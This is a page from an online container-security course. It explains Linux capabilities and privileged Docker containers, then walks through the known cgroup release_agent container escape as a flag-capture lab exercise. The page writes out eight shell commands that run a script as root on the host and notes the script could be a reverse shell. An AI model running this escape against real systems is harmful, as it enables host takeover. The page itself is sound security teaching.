Online Courses
Container Security
Online Courses
Container Security
  • Introduction
  • Intro to Containerisation
    • What is Containerization
    • Introducing Docker
    • The History of Docker
    • The Benefits & Features of Docker
    • How does Containerisation Work?
  • Docker
    • Introduction
    • Basic Docker Syntax
    • Running Your First Container
    • Intro to Dockerfiles
    • Intro to Docker Compose
    • Intro to the Docker Socket
  • Intro to Kubernetes
    • Introduction
    • Kubernetes 101
    • Kubernetes Architecture
    • Kubernetes Landscape
    • Kubernetes Configuration
    • Kubectl
    • Kubernetes & DevSecOps
  • Container Vulnerabilities
    • Container Vulnerabilities 101
    • Vulnerability 1: Privileged Containers (Capabilities)
    • Vulnerability 2: Escaping via Exposed Docker Daemon
    • Vulnerability 3: Remote Code Execution via Exposed Docker Daemon
    • Vulnerability 4: Abusing Namespaces
  • Container Hardening
    • Protecting the Docker Daemon
    • Implementing Control Groups
    • Preventing "Over-Privileged" Containers
    • Seccomp & AppArmor 101
    • Reviewing Docker Images
    • Compliance & Benchmarking
Powered by GitBook
On this page
  • Understanding Capabilities
  • What Does This Mean for Us
  • Explaining the Vulnerability
  1. Container Vulnerabilities

Vulnerability 1: Privileged Containers (Capabilities)

PreviousContainer Vulnerabilities 101NextVulnerability 2: Escaping via Exposed Docker Daemon

Last updated 8 months ago

Understanding Capabilities

At its fundamental, Linux capabilities are root permissions given to processes or executables within the Linux kernel. These privileges allow for the granular assignment of privileges - rather than just assigning them all.

These capabilities determine what permissions a Docker container has to the operating system. Docker containers can run in two modes:

  • User (Normal) mode

  • Privileged mode

In the diagram below, we can see the two different modes in action and the level of access each mode has to the host:

Note how containers #1 and #2 are running in "user/normal" mode, whereas container #3 is running in "privileged" mode. Containers in "user" mode interact with the operating system through the Docker Engine. Privileged containers, however, do not do this. Instead, they bypass the Docker Engine and directly communicate with the operating system.

What Does This Mean for Us

Well, if a container is running with privileged access to the operating system, we can effectively execute commands as root on the host.

We can use a utility such as capsh which comes with the libcap2-bin package to list the capabilities our container has: capsh --print. Capabilities are used on Linux to assign specific permissions to a process. Listing the capabilities of the container is a good way to determine the syscalls that can be made and potential mechanisms for exploitation.

Some capabilities of interest have been provided in the terminal snippet below.

cmnatic@privilegedcontainer:~$ capsh --print 
Current: = cap_chown, cap_sys_module, cap_sys_chroot, cap_sys_admin, cap_setgid,cap_setuid

In the example exploit below, we are going to use the mount syscall (as allowed by the container's capabilities) to mount the host's control groups into the container.

  1. mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

  2. echo 1 > /tmp/cgrp/x/notify_on_release

  3. host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

  4. echo "$host_path/exploit" > /tmp/cgrp/release_agent

  5. echo '#!/bin/sh' > /exploit

  6. echo "cat /home/cmnatic/flag.txt > $host_path/flag.txt" >> /exploit

  7. chmod a+x /exploit

  8. sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

We can place whatever we like in the /exploit file (step 5). This could be, for example, a reverse shell to our attack machine.

Explaining the Vulnerability

  1. We need to create a group to use the Linux kernel to write and execute our exploit. The kernel uses "cgroups" to manage processes on the operating system. Since we can manage "cgroups" as root on the host, we'll mount this to "/tmp/cgrp" on the container.

  2. We find out where the container's files are stored on the host and store it as a variable.

  3. We then echo the location of the container's files into our "/exploit" and then ultimately to the "release_agent" which is what will be executed by the "cgroup" once it is released.

  4. Let's turn our exploit into a shell on the host

  5. Execute a command to echo the host flag into a file named "flag.txt" in the container once "/exploit" is executed.

  6. Make our exploit executable!

  7. We create a process and store that into "/tmp/cgrp/x/cgroup.procs". When the processs is released, the contents will be executed.

The code snippet below is based upon (but a modified) version of the , which details the inner workings of this exploit well.

For our exploit to execute, we'll need to tell the kernel to run our code. By adding "1" to "/tmp/cgrp/x/notify_on_release", we're telling the kernel to execute something once the "cgroup" finishes. .

Proof of Concept (PoC) created by Trailofbits
(Paul Menage., 2004)